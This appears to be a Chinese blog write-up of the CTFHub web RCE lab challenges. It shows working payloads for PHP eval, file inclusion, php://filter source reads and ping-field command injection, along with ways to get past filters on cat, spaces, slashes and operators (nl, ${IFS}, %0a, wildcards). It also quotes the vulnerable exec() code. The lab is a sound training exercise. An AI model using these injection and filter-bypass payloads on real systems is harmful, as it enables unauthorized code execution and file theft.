您当前的位置: 首页 > 

暂无认证

  • 11浏览

    0关注

    94611博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFHub web技能树 RCE

发布时间:2022-02-23 12:25:53 ,浏览量:11

eval执行

		

查看目录找flag

/?cmd=system("ls /");
/?cmd=system("cat /flag_26871");
文件包含

 ctfhub=system('ls /');

ctfhub=system('cat /flag');

php://input, 远程包含

 

读取源代码

filter伪协议

/?file=php://filter/convert.base64-encode/resource=../../../flag
命令注入

linux中命令的链接符号 1.每个命令之间用;隔开 说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。 2.每个命令之间用&&隔开 说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。 3.每个命令之间用||隔开 说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。 4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。 5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

 

查看源码就出来了

也可以用  ip & cat *.php | base64 ,然后去解码

过滤cat

与上题一样,只是过滤cat了

换成nl

记录一下各种姿势: 

cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl 类似于cat -n,显示时输出行号 tailf 类似于tail -f 使用more输出base64密文 12.0.0.1 & more flag_1482210209678.php | base64

过滤空格

这里用小于号<可以代替空格,也可以使用/**/

 过滤目录分隔符/

就是使用cd代替/,来找出flag文件的目录

127.0.0.1&ls

127.0.0.1&ls cd flag_is_here

127.0.0.1 ; cd flag_is_here ; cat flag_223902169917800.php  查看源码

过滤运算符
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);

过滤了|和&

不影响啥

127.0.0.1;ls

127.0.0.1;cat flag_26986317377852.php  查看源码

综合过滤练习 
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);

先看过滤了啥东西 | & ; 空格 / cat flag ctfhub

在url里面输入%0a表示换行,这样来执行ls

 接下来用cd替代/ 来查看目录,flag用通配符*和?绕过,空格用${IFS}

关注
打赏
1655516835
查看更多评论
立即登录/注册

微信扫码登录

0.0464s